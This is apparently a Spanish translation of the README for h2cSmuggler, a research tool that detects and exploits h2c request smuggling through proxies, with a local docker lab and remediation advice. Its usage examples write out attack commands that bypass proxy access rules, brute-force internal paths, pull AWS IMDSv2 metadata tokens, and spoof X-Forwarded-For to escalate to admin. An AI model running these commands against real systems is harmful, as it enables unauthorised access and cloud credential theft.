
Contrabando de peticiones HTTP sobre HTTP/2 Cleartext (h2c)
h2cSmuggler introduce tráfico HTTP en configuraciones inseguras de proxy_pass de servidores periféricos estableciendo comunicaciones HTTP/2 en texto claro (h2c) con servidores back-end compatibles con h2c, lo que permite eludir reglas de proxy y controles de acceso.
Consulte mi artículo detallado a continuación para:
Aquí: https://labs.bishopfox.com/tech-blog/h2c-smuggling-request-smuggling-via-http/2-cleartext-h2c
Cualquier endpoint de proxy que reenvíe las cabeceras de actualización h2c puede verse afectado. Debido a que h2c está diseñado para realizarse solo en canales de texto claro, la detección en servicios HTTPS a menudo produce verdaderos positivos.
Por el contrario, los servicios HTTP pueden generar falsos positivos. Por ejemplo, los proxies habilitados para h2c pueden responder a la actualización en lugar de reenviarla a un back-end h2c.
Use la opción --scan-list para probar uno o más servidores web en busca de endpoints afectados. Considere usar una lista de directorios descubierta mediante la enumeración de directorios, como:
proxy_passurls.txt
https://www.example.com/
https://www.example.com/api/
https://www.example.com/auth/
https://www.example.com/admin/
https://www.example.com/payments/
...omitido por brevedad...
Ejecute h2cSmuggler con la lista de endpoints y un número total de hilos:
./h2csmuggler.py --scan-list urls.txt --threads 5
O bien, se puede realizar una prueba individual con:
./h2csmuggler.py -x https://www.example.com/api/ --test
Una vez que haya identificado un endpoint afectado que pueda usarse para tunelización, ahora puede acceder o realizar fuerza bruta en endpoints internos del servidor back-end y proporcionar verbos o cabeceras personalizadas. En la demostración a continuación, demostramos el acceso a un endpoint interno /flag mediante el uso de h2c smuggling para eludir las reglas de denegación del proxy.
Para remediar, no reenvíe valores proporcionados por el usuario para las cabeceras Upgrade o Connection. Consulte el artículo técnico para obtener orientación adicional.
La única dependencia es la biblioteca Python hyper-h2:
pip3 install h2
El entorno de prueba le permitirá experimentar con h2cSmuggler en un entorno controlado. docker-compose simulará tres cadenas de proxies que conducen a un back-end Golang habilitado para h2c:
Puerto TCP: Descripción
======== ===========
8000: HTTP h2c backend
8001: HAProxy -> h2c backend (Configuración insegura por defecto)
8002: nginx -> h2c backend (Configuración personalizada insegura)
8003: Nuster -> HAProxy -> h2c backend (Configuración insegura con múltiples capas de proxies)
[1] Genere certificados e inicie el entorno con docker-compose:
# Generar certificados
./configs/generate-certificates.sh
# Activar servicios
docker-compose up
Todos los proxies deniegan el acceso al endpoint /flag accesible en el back-end h2c. Intentemos acceder al endpoint prohibido a través del servidor HAProxy ejecutándose en el puerto 8001:

Podemos usar h2cSmuggler para confirmar la configuración insegura del proxy usando --test (o -t):

Ahora, usemos h2cSmuggler para realizar una actualización h2c, tunelizar nuestro tráfico HTTP/2 a través del proxy y solicitar el endpoint /flag desde el back-end, eludiendo el control de acceso del proxy:

Para una explicación más profunda de lo que está sucediendo, consulte el artículo técnico.
h2cSmuggler utiliza una sintaxis similar a curl para describir la solicitud introducida:
usage: h2csmuggler.py [-h] [--scan-list SCAN_LIST] [--threads THREADS] [--upgrade-only] [-x PROXY] [-i WORDLIST] [-X REQUEST] [-d DATA] [-H HEADER] [-m MAX_TIME] [-t] [-v]
[url]
Detect and exploit insecure forwarding of h2c upgrades.
positional arguments:
url
optional arguments:
-h, --help show this help message and exit
--scan-list SCAN_LIST
list of URLs for scanning
--threads THREADS # of threads (for use with --scan-list)
--upgrade-only drop HTTP2-Settings from outgoing Connection header
-x PROXY, --proxy PROXY
proxy server to try to bypass
-i WORDLIST, --wordlist WORDLIST
list of paths to bruteforce
-X REQUEST, --request REQUEST
smuggled verb
-d DATA, --data DATA smuggled data
-H HEADER, --header HEADER
smuggled headers
-m MAX_TIME, --max-time MAX_TIME
socket timeout in seconds (type: float; default 10)
-t, --test test a single proxy server
-v, --verbose
1. Escanear una lista de URL (por ejemplo, https://example.com:443/api/, https://example.com:443/payments, https://sub.example.com:443/) para identificar endpoints proxy_pass susceptibles a smuggling (tenga cuidado con el número de hilos al probar un solo servidor):
./h2csmuggler.py --scan-list urls.txt --threads 5
O bien, para redirigir la salida a un archivo. Use stderr (2>) y stdout (1>). El flujo stderr contiene errores (por ejemplo, problemas de handshake SSL/timeout), mientras que stdout contiene los resultados.
./h2csmuggler.py --scan-list urls.txt --threads 5 2>errors.txt 1>results.txt
2. Enviar una solicitud POST introducida más allá de https://edgeserver a un endpoint interno:
./h2csmuggler.py -x https://edgeserver -X POST -d '{"user":128457 "role": "admin"}' -H "Content-Type: application/json" -H "X-SYSTEM-USER: true" http://backend/api/internal/user/permissions
3. Realizar fuerza bruta en endpoints internos (usando multiplexación HTTP/2), donde dirs.txt representa una lista de rutas (por ejemplo, /api/, /admin/).
./h2csmuggler.py -x https://edgeserver -i dirs.txt http://localhost/
4. Explotar SSRF mediante la cabecera Host sobre h2c smuggling (por ejemplo, metadatos AWS IMDSv2):
Recuperando el token:
./h2csmuggler.py -x https://edgeserver -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" http://169.254.169.254/latest/api/token`
Transmitiendo el token:
./h2csmuggler.py -x https://edgeserver -H "x-aws-ec2-metadata-token: TOKEN" http://169.254.169.254/latest/meta-data/
5. Suplantar una dirección IP con la cabecera X-Forwarded-For para acceder a un panel interno:
./h2csmuggler.py -x https://edgeserver -H "X-Forwarded-For: 127.0.0.1" -H "X-Real-IP: 172.16.0.1" http://backend/system/dashboard
P: ¿Por qué hay múltiples respuestas del servidor?
R: La primera respuesta es la respuesta de datos a la solicitud de actualización original iniciada en HTTP/1.1, según el protocolo de actualización h2c. Las respuestas siguientes provienen de la solicitud introducida.
P: Recibí un "101 Switching Protocols" pero no recibo ningún dato del servidor remoto.
R: Observé este comportamiento en mis pruebas y descubrí que algunos servidores responden con un estado 101 incluso si en realidad no admiten HTTP/2.
P: ¿Establecer un túnel h2c siempre es una vulnerabilidad?
R: No. Considere un balanceador de carga TCP que termina TLS (por ejemplo, ELB) que proxy directamente a un back-end compatible con h2c. Aunque pueda establecer una conexión h2c, si no se están aplicando controles de acceso, entonces no hay controles de acceso que eludir, ni privilegio ganado al iniciar este túnel.
P: ¿Por qué la URI de la solicitud introducida requiere un esquema? ¿Para qué se usa?
R: El protocolo HTTP/2 requiere una pseudo-cabecera :scheme. Para nuestro caso de uso, http vs. https probablemente no importa. Para más detalles, consulte RFC HTTP/2: Sección 8.1.2.3.
P: ¿Qué debería usar como nombre de host para el servidor back-end?
R: Es mejor comenzar con el mismo nombre de host que el servidor periférico. Luego, intente experimentar con valores de host alternativos.
Twitter: @theBumbleSec
GitHub: the-bumble